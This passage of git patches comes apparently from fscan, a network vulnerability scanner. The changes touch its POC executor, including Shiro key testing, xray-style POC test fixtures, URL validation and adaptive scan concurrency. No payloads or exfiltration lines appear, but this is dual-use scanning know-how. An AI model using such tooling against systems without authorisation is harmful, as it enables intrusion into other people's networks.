case-insensitive: %s", expr) + } +} + // contains 检查字符串是否包含子串 func contains(s, substr string) bool { return len(s) >= len(substr) && (s == substr || len(s) > len(substr) && hasSubstring(s, substr)) @@ -406,7 +583,7 @@ rules: r1: request: method: GET - path: /admin/dashboard + path: "{{BaseURL}}/admin/dashboard" headers: Cookie: "{{cookie}}" expression: response.status == 200 @@ -445,6 +622,9 @@ detail: if poc.Rules[1].Headers["Cookie"] != `{{cookie}}` { t.Errorf("Rules[1].Headers[Cookie] = %q, want %q", poc.Rules[1].Headers["Cookie"], `{{cookie}}`) } + if poc.Rules[1].Path != "/admin/dashboard" { + t.Errorf("Rules[1].Path = %q, want /admin/dashboard", poc.Rules[1].Path) + } } // TestXrayNoOutput 测试 xray 没有 output 字段时 Search 为空(回归) @@ -503,7 +683,7 @@ rules: r1: request: method: GET - path: /panel + path: "{{BaseURL}}/panel" headers: Cookie: "{{sessid}}" expression: response.status == 200 && response.body.bcontains(b"admin") @@ -531,4 +711,7 @@ rules: if poc.Rules[1].Headers["Cookie"] != `{{sessid}}` { t.Errorf("Rules[1].Headers[Cookie] = %q, want %q", poc.Rules[1].Headers["Cookie"], `{{sessid}}`) } + if poc.Rules[1].Path != "/panel" { + t.Errorf("Rules[1].Path = %q, want /panel", poc.Rules[1].Path) + } } diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index d55aae6..30c66b7 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -359,7 +359,7 @@ func doSearch(re string, body string) map[string]string { if len(result) > 1 && len(names) > 1 { paramsMap := make(map[string]string) for i, name := range names { - if i > 0 && i <= len(result) { + if i > 0 && i < len(result) && name != "" { // 特殊处理Set-Cookie头:剥离Path/Expires等属性,仅保留key=value if strings.HasPrefix(re, "Set-Cookie:") { paramsMap[name] = optimizeCookies(result[i]) @@ -470,7 +470,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, for comboIndex, paramCombo := range setsMap { // Shiro Key测试特殊处理:默认只测试10个key if p.Name == "poc-yaml-shiro-key" && !pocCtx.POCFull && comboIndex >= 10 { - if paramCombo[1] == "cbc" { + if shiroKeyMode(paramCombo) == "cbc" { continue } if shiroKeyCount == 0 { @@ -554,6 +554,13 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, return success, nil } +func shiroKeyMode(paramCombo []string) string { + if len(paramCombo) < 2 { + return "" + } + return paramCombo[1] +} + // applyParametersToRule 将参数应用到规则中,返回是否有替换发生和替换的参数列表 // 这是一个纯函数,不修改原始规则,而是修改传入的currentRule指针 func applyParametersToRule( diff --git a/webscan/lib/poc_executor_test.go b/webscan/lib/poc_executor_test.go index 3677e7f..0cb8b6e 100644 --- a/webscan/lib/poc_executor_test.go +++ b/webscan/lib/poc_executor_test.go @@ -425,3 +425,111 @@ func TestApplyParametersToRule(t *testing.T) { }) } } + +func TestPocExecutorPureHelpers(t *testing.T) { + t.Run("isFuzz detects placeholders", func(t *testing.T) { + sets := ListMap{{Key: "token", Value: []string{"a", "b"}}} + if !isFuzz(Rules{Headers: map[string]string{"X-Token": "{{token}}"}}, sets) { + t.Fatal("header placeholder should require fuzzing") + } + if !isFuzz(Rules{Path: "/api/{{token}}"}, sets) { + t.Fatal("path placeholder should require fuzzing") + } + if !isFuzz(Rules{Body: "token={{token}}"}, sets) { + t.Fatal("body placeholder should require fuzzing") + } + if isFuzz(Rules{Path: "/api/static"}, sets) { + t.Fatal("static rule should not require fuzzing") + } + }) + + t.Run("Combo and MakeData", func(t *testing.T) { + if got := Combo(nil); got != nil { + t.Fatalf("Combo(nil) = %#v, want nil", got) + } + one := Combo(ListMap{{Key: "user", Value: []string{"admin", "root"}}}) + if len(one) != 2 || one[0][0] != "admin" || one[1][0] != "root" { + t.Fatalf("single Combo = %#v", one) + } + combos := Combo(ListMap{ + {Key: "user", Value: []string{"admin", "root"}}, + {Key: "pass", Value: []string{"123", "456"}}, + }) + want := [][]string{{"admin", "123"}, {"root", "123"}, {"admin", "456"}, {"root", "456"}} + if !stringMatrixEqual(combos, want) { + t.Fatalf("Combo = %#v, want %#v", combos, want) + } + made := MakeData([][]string{{"b"}, {"c"}}, []string{"a"}) + if !stringMatrixEqual(made, [][]string{{"a", "b"}, {"a", "c"}}) { + t.Fatalf("MakeData = %#v", made) + } + if got := shiroKeyMode([]string{"only-key"}); got != "" { + t.Fatalf("shiroKeyMode(short combo) = %q, want empty", got) + } + if got := shiroKeyMode([]string{"key", "cbc"}); got != "cbc" { + t.Fatalf("shiroKeyMode() = %q, want cbc", got) + } + }) + + t.Run("cloneRules deep-copies headers", func(t *testing.T) { + original := Rules{ + Method: "POST", + Path: "/login", + Body: "a=b", + Search: "token", + FollowRedirects: true, + Expression: "true", + Headers: map[string]string{"X-Test": "one"}, + Continue: true, + } + cloned := cloneRules(original) + cloned.Headers["X-Test"] = "two" + if original.Headers["X-Test"] != "one" { + t.Fatalf("cloneRules should deep copy headers, original = %#v", original.Headers) + } + if cloned.Method != original.Method || cloned.Path != original.Path || !cloned.FollowRedirects || !cloned.Continue { + t.Fatalf("cloneRules lost fields: %#v", cloned) + } + if cloneMap(nil) != nil { + t.Fatal("cloneMap(nil) should return nil") + } + }) + + t.Run("doSearch and GetHeader", func(t *testing.T) { + header := GetHeader(map[string]string{"Set-Cookie": "sid=abc; Path=/; HttpOnly", "Server": "nginx"}) + if !strings.Contains(header, "Set-Cookie: sid=abc; Path=/; HttpOnly") || !strings.HasSuffix(header, "\r\n") { + t.Fatalf("GetHeader output = %q", header) + } + result := doSearch(`Set-Cookie:\s*(?P[^\n]+)`, header) + if result["cookie"] != "sid=abc" { + t.Fatalf("cookie search = %#v", result) + } + result = doSearch(`token=(\w+)&id=(?P\d+)`, "token=abc&id=42") + if result[""] != "" || result["id"] != "42" || len(result) != 1 { + t.Fatalf("unnamed groups should be skipped, got %#v", result) + } + if got := doSearch(`(?P`, "body"); got != nil { + t.Fatalf("invalid regex result = %#v, want nil", got) + } + if got := doSearch(`nomatch(?P\d+)`, "body"); got != nil { + t.Fatalf("no match result = %#v, want nil", got) + } + }) +} + +func stringMatrixEqual(a, b [][]string) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if len(a[i]) != len(b[i]) { + return false + } + for j := range a[i] { + if a[i][j] != b[i][j] { + return false + } + } + } + return true +} diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 5328e3a..22b3f37 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -10,6 +10,7 @@ import ( "net/url" "os" "path/filepath" + "strconv" "strings" "sync" "time" @@ -115,6 +116,20 @@ func buildTargetURL(info *common.HostInfo) (string, error) { if err != nil { return "", fmt.Errorf("%w: %w", ErrInvalidURL, err) } + if parsedURL.Hostname() == "" { + return "", fmt.Errorf("%w: empty host", ErrInvalidURL) + } + portStr := parsedURL.Port() + if portStr == "" { + if hasMalformedWebURLPort(parsedURL.Host) { + return "", fmt.Errorf("%w: invalid port", ErrInvalidURL) + } + } else { + port, err := strconv.Atoi(portStr) + if err != nil || port < 1 || port > 65535 { + return "", fmt.Errorf("%w: invalid port %q", ErrInvalidURL, portStr) + } + } parsedURL.Host = normalizeWebURLHost(parsedURL.Host) return fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host), nil @@ -152,6 +167,14 @@ func normalizeWebURLHost(host string) string { return host } +func hasMalformedWebURLPort(host string) bool { + if strings.HasPrefix(host, "[") { + end := strings.LastIndexByte(host, ']') + return end >= 0 && len(host) > end+1 && host[end+1] == ':' + } + return strings.Contains(host, ":") +} + // scanByFingerprints 根据指纹执行POC func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config, session *common.ScanSession) { for _, fingerprint := range fingerprints { diff --git a/webscan/web_scan_test.go b/webscan/web_scan_test.go index 584d4ed..4486e13 100644 --- a/webscan/web_scan_test.go +++ b/webscan/web_scan_test.go @@ -1,9 +1,11 @@ package WebScan import ( + "context" "testing" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/config" "github.com/shadow1ng/fscan/webscan/lib" ) @@ -154,6 +156,41 @@ func TestBuildTargetURL(t *testing.T) { expected: "http://[2001:db8::1]", expectError: false, }, + { + name: "empty host is rejected", + hostInfo: &common.HostInfo{ + Port: 80, + URL: "http://", + }, + expectError: true, + }, + { + name: "invalid port is rejected", + hostInfo: &common.HostInfo{ + Host: "example.com", + Port: 80, + URL: "http://example.com:bad", + }, + expectError: true, + }, + { + name: "empty explicit port is rejected", + hostInfo: &common.HostInfo{ + Host: "example.com", + Port: 80, + URL: "http://example.com:", + }, + expectError: true, + }, + { + name: "out of range port is rejected", + hostInfo: &common.HostInfo{ + Host: "example.com", + Port: 80, + URL: "http://example.com:70000", + }, + expectError: true, + }, } for _, tt := range tests { @@ -430,6 +467,44 @@ func TestFilterPocsNilSafety(t *testing.T) { } } +func TestCreateBaseRequestHeaders(t *testing.T) { + cfg := common.NewConfig() + cfg.HTTP.UserAgent = "fscan-test-agent" + cfg.HTTP.Accept = "application/json" + cfg.HTTP.Cookie = "sid=abc" + + req, err := createBaseRequest(context.Background(), "http://example.com/path", cfg) + if err != nil { + t.Fatalf("createBaseRequest error = %v", err) + } + if req.Method != "GET" { + t.Fatalf("method = %q, want GET", req.Method) + } + if got := req.Header.Get("User-agent"); got != "fscan-test-agent" { + t.Fatalf("User-agent = %q", got) + } + if got := req.Header.Get("Accept"); got != "application/json" { + t.Fatalf("Accept = %q", got) + } + if got := req.Header.Get("Cookie"); got != "sid=abc" { + t.Fatalf("Cookie = %q", got) + } + if got := req.Header.Get("Accept-Language"); got == "" { + t.Fatal("Accept-Language should be set") + } +} + +func TestExecutePOCsEarlyReturns(t *testing.T) { + cfg := common.NewConfig() + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + previous := allPocs + allPocs = nil + t.Cleanup(func() { allPocs = previous }) + + executePOCs(context.Background(), config.PocInfo{}, cfg, session) + executePOCs(context.Background(), config.PocInfo{Target: "http://example.com", PocName: "missing"}, cfg, session) +} + func TestDirectoryExists(t *testing.T) { tests := []struct { name string From 8402be98e3fe9ce63dbca4c951658d510dc5edb4 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 13 Jun 2026 12:39:24 +0800 Subject: [PATCH 14/29] =?UTF-8?q?=E4=BC=98=E5=8C=96=E8=87=AA=E9=80=82?= =?UTF-8?q?=E5=BA=94=E6=89=AB=E6=8F=8F=E7=B3=BB=E7=BB=9F=20&=20=E4=BF=AE?= =?UTF-8?q?=E5=A4=8D=20POC=20=E8=B0=83=E5=BA=A6=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 自适应扫描优化: - target/ceiling 分离,自适应池可向上探索而非锁死在 target - assessHealth 阈值按网络环境区分(LAN 收紧 / Internet 放宽) - RTT 漂移时动态压低 target,配合 AIMD 双重降速 - 去掉 semaphore 双层流控,由 ants pool 统一反压 - 探测端口从 3 个扩充到 8 个,减少 RTT 采样偏差 - computeRetries 按环境调整目标概率和上限 Bug 修复: - AdaptivePool.Wait() 加 10 分钟超时,防止 goroutine 卡死时永久挂起 - CEL 环境初始化失败后允许重试(sync.Once → sync.Mutex + 标志位) - CAS 自旋加 runtime.Gosched() 退避,减少高并发下 CPU 空转 - -full 模式下 web 插件跳过 IsMarkedWebService 检查 #588 - 不确定服务补做 HTTP 回退探测,覆盖自定义框架漏网场景 - POC sets 纯字面量值跳过 CEL 编译,消除大量误报错误日志 --- common/config_struct.go | 3 + common/i18n/locales/en.yaml | 2 + common/i18n/locales/zh.yaml | 2 + core/adaptive_pool.go | 76 +++- core/base_scan_strategy.go | 5 + core/edge_cases_test.go | 22 +- core/env_profiler.go | 58 ++- core/env_profiler_test.go | 10 +- core/network_profiler.go | 2 +- core/optimization_integration_test.go | 549 ++++++++++++++++++++++++++ core/port_scan.go | 50 +-- core/scan_metrics.go | 3 + core/web_scanner.go | 15 + webscan/lib/Eval.go | 79 ++-- webscan/lib/poc_executor.go | 26 ++ 15 files changed, 798 insertions(+), 104 deletions(-) create mode 100644 core/optimization_integration_test.go diff --git a/common/config_struct.go b/common/config_struct.go index 10a1f24..9f2183f 100644 --- a/common/config_struct.go +++ b/common/config_struct.go @@ -25,6 +25,7 @@ type Config struct { Timeout time.Duration // 通用超时 TimeoutExplicit bool // 用户显式指定了 -time ThreadNum int // 主线程数 + ThreadCeiling int // 线程数上限(自适应池允许的最大值) ThreadNumExplicit bool // 用户显式指定了 -t ModuleThreadNum int // 模块线程数 ModuleThreadNumExplicit bool // 用户显式指定了 -mt @@ -39,6 +40,7 @@ type Config struct { AliveOnly bool // 仅存活检测 MaxRetries int // 最大重试次数 MaxRetriesExplicit bool // 用户显式指定了 -retry + DetectedNetworkEnv int // 探测到的网络环境(来自 core.NetworkEnv) // 高级功能(从AdvancedConfig合并) Shellcode string // Shellcode @@ -180,6 +182,7 @@ func NewConfig() *Config { // 高频字段 - 使用默认常量 Timeout: time.Duration(DefaultTimeout) * time.Second, ThreadNum: DefaultThreadNum, + ThreadCeiling: DefaultThreadNum, ModuleThreadNum: 10, DisableBrute: false, DisablePing: false, diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index e9a4007..bbdc267 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -547,6 +547,8 @@ adaptive_pool_increase: other: "Concurrency adjusted: {{.Arg1}} -> {{.Arg2}} (network healthy)" adaptive_pool_slowstart_exit: other: "Slow start exit: current {{.Arg1}} (congestion detected)" +adaptive_pool_wait_timeout: + other: "Thread pool wait timed out (10 minutes), forcing exit" net_probe_result: other: "Network probe: {{.Arg1}}, RTT {{.Arg2}}ms, loss {{.Arg3}}%, concurrency {{.Arg4}}/{{.Arg5}}" net_env_lan: diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 4fd75a2..b4b1b33 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -547,6 +547,8 @@ adaptive_pool_increase: other: "并发调整: {{.Arg1}} -> {{.Arg2}} (网络健康)" adaptive_pool_slowstart_exit: other: "慢启动退出: 当前 {{.Arg1}} (检测到拥塞)" +adaptive_pool_wait_timeout: + other: "线程池等待超时(10分钟),强制退出" net_probe_result: other: "网络探测: {{.Arg1}}, RTT {{.Arg2}}ms, 丢包 {{.Arg3}}%, 并发 {{.Arg4}}/{{.Arg5}}" net_env_lan: diff --git a/core/adaptive_pool.go b/core/adaptive_pool.go index a4a7933..8bec02f 100644 --- a/core/adaptive_pool.go +++ b/core/adaptive_pool.go @@ -35,6 +35,9 @@ type AdaptivePool struct { pool *ants.PoolWithFunc metrics *ScanMetrics + // 网络环境(影响健康评估阈值) + networkEnv NetworkEnv + // 并发控制 target int32 // 探测推荐的目标值 ceiling int32 // 绝对上限(用户指定或探测推荐) @@ -57,7 +60,7 @@ type AdaptivePool struct { // target: 目标并发数(来自 NetworkProfile.RecommendConcurrency) // ceiling: 最大并发上限 // metrics: 共享的扫描度量(scanSinglePort 写入,pool 读取) -func NewAdaptivePool(target, ceiling int, fn func(interface{}), metrics *ScanMetrics) (*AdaptivePool, error) { +func NewAdaptivePool(target, ceiling int, fn func(interface{}), metrics *ScanMetrics, env ...NetworkEnv) (*AdaptivePool, error) { // 慢启动初始值:target 的 25%,但不低于 10 initial := target / 4 if initial < 10 { @@ -72,9 +75,15 @@ func NewAdaptivePool(target, ceiling int, fn func(interface{}), metrics *ScanMet return nil, err } + netEnv := EnvWAN + if len(env) > 0 { + netEnv = env[0] + } + return &AdaptivePool{ pool: pool, metrics: metrics, + networkEnv: netEnv, target: int32(target), ceiling: int32(ceiling), currentSize: int32(initial), @@ -110,6 +119,10 @@ func (ap *AdaptivePool) adjust() { return } + // RTT 漂移微调:fast EMA 远高于 slow EMA 说明延迟持续恶化 + // 压低 target 让 AIMD 的天花板跟着降,而不是只靠乘性减 + ap.maybeReduceTarget() + current := int(atomic.LoadInt32(&ap.currentSize)) target := int(atomic.LoadInt32(&ap.target)) ceiling := int(atomic.LoadInt32(&ap.ceiling)) @@ -215,23 +228,61 @@ func (ap *AdaptivePool) assessHealth() HealthSignal { exhaustRate := float64(deltaExhausted) / float64(deltaTotal) rttRatio := ap.metrics.RTTRatio() - // 多信号综合判断 + // 阈值根据网络环境调整:内网收紧,公网放宽 + var congestExhaust, stressExhaust, congestRTT, stressRTT, goodRTT float64 + switch ap.networkEnv { + case EnvLAN: + congestExhaust, stressExhaust = 0.08, 0.03 + congestRTT, stressRTT, goodRTT = 1.8, 1.4, 1.15 + case EnvWAN: + congestExhaust, stressExhaust = 0.15, 0.05 + congestRTT, stressRTT, goodRTT = 2.5, 1.8, 1.3 + default: // Internet / Slow + congestExhaust, stressExhaust = 0.25, 0.10 + congestRTT, stressRTT, goodRTT = 3.5, 2.5, 1.5 + } + switch { - case exhaustRate > 0.15: + case exhaustRate > congestExhaust: return HealthCongested - case rttRatio > 2.5: + case rttRatio > congestRTT: return HealthCongested - case exhaustRate > 0.05: + case exhaustRate > stressExhaust: return HealthStressed - case rttRatio > 1.8: + case rttRatio > stressRTT: return HealthStressed - case exhaustRate < 0.01 && rttRatio < 1.3: + case exhaustRate < 0.01 && rttRatio < goodRTT: return HealthGood default: return HealthOK } } +// maybeReduceTarget 当 RTT 持续恶化时压低 target +// 不低于 ceiling 的 20%,避免过度收缩 +func (ap *AdaptivePool) maybeReduceTarget() { + rttRatio := ap.metrics.RTTRatio() + if rttRatio <= 3.0 { + return + } + + target := atomic.LoadInt32(&ap.target) + ceiling := atomic.LoadInt32(&ap.ceiling) + minTarget := ceiling / 5 + if minTarget < 10 { + minTarget = 10 + } + + // 压低 10% + newTarget := int32(float64(target) * 0.9) + if newTarget < minTarget { + newTarget = minTarget + } + if newTarget < target { + atomic.StoreInt32(&ap.target, newTarget) + } +} + func (ap *AdaptivePool) tune(newSize int) { ap.pool.Tune(newSize) atomic.StoreInt32(&ap.currentSize, int32(newSize)) @@ -246,9 +297,16 @@ func (ap *AdaptivePool) Cap() int { return int(atomic.LoadInt32(&ap.currentSize) // Release 释放线程池 func (ap *AdaptivePool) Release() { ap.pool.Release() } -// Wait 等待所有任务完成 +// Wait 等待所有任务完成(最多等待 10 分钟) func (ap *AdaptivePool) Wait() { + deadline := time.After(10 * time.Minute) for ap.pool.Running() > 0 { - time.Sleep(10 * time.Millisecond) + select { + case <-deadline: + common.LogError(i18n.Tr("adaptive_pool_wait_timeout")) + return + default: + time.Sleep(10 * time.Millisecond) + } } } diff --git a/core/base_scan_strategy.go b/core/base_scan_strategy.go index c553f4a..9cd1ddc 100644 --- a/core/base_scan_strategy.go +++ b/core/base_scan_strategy.go @@ -86,6 +86,11 @@ func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHos return b.isPluginPassesFilterType(pluginName, isCustomMode, config) } + // -full 模式下,web 插件对所有开放端口生效(跳过 IsMarkedWebService 检查) + if config.POC.Full && b.isWebPlugin(pluginName) { + return b.isPluginPassesFilterType(pluginName, isCustomMode, config) + } + // 检查端口匹配和过滤器类型 return b.isPluginApplicableToPortWithHost(pluginName, targetHost, targetPort) && b.isPluginPassesFilterType(pluginName, isCustomMode, config) } diff --git a/core/edge_cases_test.go b/core/edge_cases_test.go index 12983fa..3c60bb7 100644 --- a/core/edge_cases_test.go +++ b/core/edge_cases_test.go @@ -23,24 +23,24 @@ func TestComputeRetries_EdgeCases(t *testing.T) { {0.0, 1, 1, "精确零"}, {0.001, 1, 1, "精确边界 0.001"}, {0.0009, 1, 1, "低于 0.001 边界"}, - {0.0011, 1, 6, "高于 0.001 边界"}, - {0.95, 6, 6, "精确边界 0.95"}, - {0.949, 1, 6, "低于 0.95 边界"}, - {0.951, 6, 6, "高于 0.95 边界"}, - {1.0, 6, 6, "精确 1.0"}, - {1.5, 6, 6, "超过 1.0"}, - {100.0, 6, 6, "极大值"}, + {0.0011, 1, 5, "高于 0.001 边界"}, + {0.95, 5, 5, "精确边界 0.95"}, + {0.949, 1, 5, "低于 0.95 边界"}, + {0.951, 5, 5, "高于 0.95 边界"}, + {1.0, 5, 5, "精确 1.0"}, + {1.5, 5, 5, "超过 1.0"}, + {100.0, 5, 5, "极大值"}, {math.SmallestNonzeroFloat64, 1, 1, "最小正浮点数"}, } for _, tt := range tests { t.Run(tt.desc, func(t *testing.T) { - got := computeRetries(tt.lossRate) + got := computeRetries(tt.lossRate, EnvWAN) if got < tt.wantMin || got > tt.wantMax { t.Errorf("computeRetries(%v) = %d, want [%d, %d]", tt.lossRate, got, tt.wantMin, tt.wantMax) } - if got < 1 || got > 6 { + if got < 1 || got > 5 { t.Errorf("computeRetries(%v) = %d, 超出 [1,6] 范围", tt.lossRate, got) } }) @@ -50,8 +50,8 @@ func TestComputeRetries_EdgeCases(t *testing.T) { func TestComputeRetries_NaN_Inf(t *testing.T) { // 确保不 panic for _, v := range []float64{math.NaN(), math.Inf(1), math.Inf(-1)} { - got := computeRetries(v) - if got < 1 || got > 6 { + got := computeRetries(v, EnvWAN) + if got < 1 || got > 5 { t.Errorf("computeRetries(%v) = %d, 超出 [1,6] 范围", v, got) } } diff --git a/core/env_profiler.go b/core/env_profiler.go index 40adfe3..26130d9 100644 --- a/core/env_profiler.go +++ b/core/env_profiler.go @@ -38,8 +38,19 @@ func (ep *EnvironmentProfile) TuneConfig(config *common.Config, session *common. net := &ep.Net sys := &ep.System - // ---------- ThreadNum ---------- - // 已在 AdaptivePool 层处理(ProbeNetwork + AIMD),这里不重复 + // ---------- NetworkEnv ---------- + config.DetectedNetworkEnv = int(net.Env) + + // ---------- ThreadNum / ThreadCeiling ---------- + if !isExplicit(config, "t") { + target, ceiling := net.RecommendConcurrency(config.ThreadNum, config.ThreadNumExplicit) + old := config.ThreadNum + config.ThreadNum = target + config.ThreadCeiling = ceiling + session.LogDebug(fmt.Sprintf("ThreadNum: %d -> %d, Ceiling: %d (env=%s)", old, target, ceiling, net.Env)) + } else { + config.ThreadCeiling = config.ThreadNum + } // ---------- Timeout ---------- // 公式: median_rtt + 4 * stddev,下限 1s,上限 10s @@ -65,8 +76,7 @@ func (ep *EnvironmentProfile) TuneConfig(config *common.Config, session *common. // 单个服务的连接能力远低于 TCP SYN 扫描 // 公网服务通常有限流(MaxStartups 等),并发过高适得其反 if !isExplicit(config, "mt") { - target, _ := net.RecommendConcurrency(config.ThreadNum, config.ThreadNumExplicit) - computed := target / 30 + computed := config.ThreadNum / 30 computed = clampInt(computed, 5, 50) // 高丢包环境进一步压低,避免大量连接被丢弃浪费 @@ -79,7 +89,7 @@ func (ep *EnvironmentProfile) TuneConfig(config *common.Config, session *common. old := config.ModuleThreadNum config.ModuleThreadNum = computed - session.LogDebug(fmt.Sprintf("ModuleThreadNum: %d -> %d (target_concurrency=%d)", old, computed, target)) + session.LogDebug(fmt.Sprintf("ModuleThreadNum: %d -> %d (threadNum=%d)", old, computed, config.ThreadNum)) } // ---------- MaxRetries ---------- @@ -88,7 +98,7 @@ func (ep *EnvironmentProfile) TuneConfig(config *common.Config, session *common. // 例: 丢包率 5% → N=2, 丢包率 20% → N=3, 丢包率 50% → N=7 // 下限 1(零丢包也至少试一次),上限 6(避免对不可达目标死磕) if !isExplicit(config, "retry") && net.Samples > 0 { - computed := computeRetries(net.LossRate) + computed := computeRetries(net.LossRate, net.Env) old := config.MaxRetries config.MaxRetries = computed session.LogDebug(fmt.Sprintf("MaxRetries: %d -> %d (loss_rate=%.2f%%)", old, computed, net.LossRate*100)) @@ -135,22 +145,40 @@ func (ep *EnvironmentProfile) TuneConfig(config *common.Config, session *common. session.LogInfo(i18n.Tr("env_fd_limit", config.ThreadNum, maxConcurrency, sys.FDLimit)) config.ThreadNum = maxConcurrency } + if config.ThreadCeiling > maxConcurrency { + config.ThreadCeiling = maxConcurrency + } } } -// computeRetries 基于丢包率计算重试次数 -// 目标:重试 N 次后仍全部失败的概率 < 1% -func computeRetries(lossRate float64) int { +// computeRetries 基于丢包率和网络环境计算重试次数 +// 内网丢包异常,用更严格的目标概率(0.5%)和更低上限 +// 公网/慢速丢包常见,放宽目标概率(2%)和更高上限 +func computeRetries(lossRate float64, env NetworkEnv) int { if lossRate <= 0.001 { - return 1 // 几乎无丢包 + return 1 } + + var targetProb float64 + var maxRetries int + switch env { + case EnvLAN: + targetProb = 0.005 + maxRetries = 4 + case EnvWAN: + targetProb = 0.01 + maxRetries = 5 + default: + targetProb = 0.02 + maxRetries = 6 + } + if lossRate >= 0.95 { - return 6 // 上限 + return maxRetries } - // P(N次全失败) = lossRate^N < 0.01 - // N > log(0.01) / log(lossRate) - n := math.Ceil(math.Log(0.01) / math.Log(lossRate)) - return clampInt(int(n), 1, 6) + // P(N次全失败) = lossRate^N < targetProb + n := math.Ceil(math.Log(targetProb) / math.Log(lossRate)) + return clampInt(int(n), 1, maxRetries) } // computeICMPRate 基于环境计算 ICMP 发包速率 diff --git a/core/env_profiler_test.go b/core/env_profiler_test.go index f0e197e..477563e 100644 --- a/core/env_profiler_test.go +++ b/core/env_profiler_test.go @@ -25,15 +25,15 @@ func TestComputeRetries(t *testing.T) { {0.10, 2, 3, "10% 丢包: ceil(log(0.01)/log(0.1))=2, 但边界取 ceil 可能是 3"}, {0.20, 3, 3, "20% 丢包: 0.2^3=0.008 < 0.01"}, {0.30, 3, 4, "30% 丢包"}, - {0.50, 6, 6, "50% 丢包: ceil(log(0.01)/log(0.5))=7 但上限 6"}, - {0.80, 6, 6, "80% 丢包: 需要很多次但上限 6"}, - {0.95, 6, 6, "95% 丢包: 触顶"}, - {1.0, 6, 6, "100% 丢包: 触顶"}, + {0.50, 5, 5, "50% 丢包: ceil(log(0.01)/log(0.5))=7 但上限 5"}, + {0.80, 5, 5, "80% 丢包: 需要很多次但上限 5"}, + {0.95, 5, 5, "95% 丢包: 触顶"}, + {1.0, 5, 5, "100% 丢包: 触顶"}, } for _, tt := range tests { t.Run(tt.desc, func(t *testing.T) { - got := computeRetries(tt.lossRate) + got := computeRetries(tt.lossRate, EnvWAN) if got < tt.wantMin || got > tt.wantMax { t.Errorf("computeRetries(%.2f) = %d, want [%d, %d]", tt.lossRate, got, tt.wantMin, tt.wantMax) diff --git a/core/network_profiler.go b/core/network_profiler.go index 5aba343..228343a 100644 --- a/core/network_profiler.go +++ b/core/network_profiler.go @@ -95,7 +95,7 @@ func (p *NetworkProfile) RecommendConcurrency(userThreadNum int, explicit bool) } // probePorts 探测用的端口列表(高响应率的常见端口) -var probePorts = []int{80, 443, 22} +var probePorts = []int{80, 443, 22, 445, 8080, 3389, 21, 8443} func networkProbeAddress(host string, port int) string { return net.JoinHostPort(host, strconv.Itoa(port)) diff --git a/core/optimization_integration_test.go b/core/optimization_integration_test.go new file mode 100644 index 0000000..b97af6b --- /dev/null +++ b/core/optimization_integration_test.go @@ -0,0 +1,549 @@ +package core + +import ( + "sync/atomic" + "testing" + "time" +) + +// ============================================================================= +// 优化 1:target/ceiling 分离 +// ============================================================================= + +func TestOpt1_TargetCeilingSeparation_TuneConfig(t *testing.T) { + config := makeDefaultConfig() + session := makeTestSession(config) + + ep := &EnvironmentProfile{ + Net: NetworkProfile{ + Env: EnvLAN, + RTTMedian: 1 * time.Millisecond, + RTTStddev: 500 * time.Microsecond, + LossRate: 0.0, + Samples: 30, + }, + System: SystemProfile{FDLimit: 65536, NumCPU: 8}, + } + + ep.TuneConfig(config, session) + + if config.ThreadCeiling <= 0 { + t.Fatalf("ThreadCeiling 未被设置: %d", config.ThreadCeiling) + } + + // 内网 factor=1.5,非显式 → target=ceiling=recommended + // 但 ceiling 应该 >= target + if config.ThreadCeiling < config.ThreadNum { + t.Errorf("Ceiling(%d) < ThreadNum(%d)", config.ThreadCeiling, config.ThreadNum) + } + + t.Logf("target=%d, ceiling=%d", config.ThreadNum, config.ThreadCeiling) +} + +func TestOpt1_TargetCeilingSeparation_ExplicitT(t *testing.T) { + config := makeDefaultConfig() + config.ThreadNum = 200 + config.ThreadNumExplicit = true + session := makeTestSession(config) + + ep := &EnvironmentProfile{ + Net: NetworkProfile{ + Env: EnvInternet, + RTTMedian: 100 * time.Millisecond, + RTTStddev: 30 * time.Millisecond, + LossRate: 0.0, + Samples: 20, + }, + System: SystemProfile{FDLimit: 65536, NumCPU: 8}, + } + + ep.TuneConfig(config, session) + + // 用户显式指定 -t → ceiling = threadNum = 200 + if config.ThreadCeiling != 200 { + t.Errorf("显式 -t 200: ceiling=%d, want 200", config.ThreadCeiling) + } + if config.ThreadNum != 200 { + t.Errorf("显式 -t 200: threadNum=%d, want 200", config.ThreadNum) + } +} + +func TestOpt1_PoolUsesCeiling(t *testing.T) { + metrics := &ScanMetrics{} + target, ceiling := 50, 200 + + pool, err := NewAdaptivePool(target, ceiling, func(interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + pool.inSlowStart = false + pool.tune(target) + + // 注入健康 metrics 让池增长 + for i := 0; i < 200; i++ { + metrics.RecordConnect(time.Millisecond) + } + + // 多次 adjust,池应能增长超过 target 但不超过 ceiling + for i := 0; i < 30; i++ { + pool.lastCheck.Store(0) + pool.adjust() + } + + finalCap := pool.Cap() + if finalCap <= target { + t.Errorf("池应能超过 target(%d): cap=%d", target, finalCap) + } + if finalCap > ceiling { + t.Errorf("池不应超过 ceiling(%d): cap=%d", ceiling, finalCap) + } + + t.Logf("target=%d, ceiling=%d, finalCap=%d", target, ceiling, finalCap) +} + +func TestOpt1_FDLimitConstraintsBothFields(t *testing.T) { + config := makeDefaultConfig() + config.ThreadNum = 1000 + 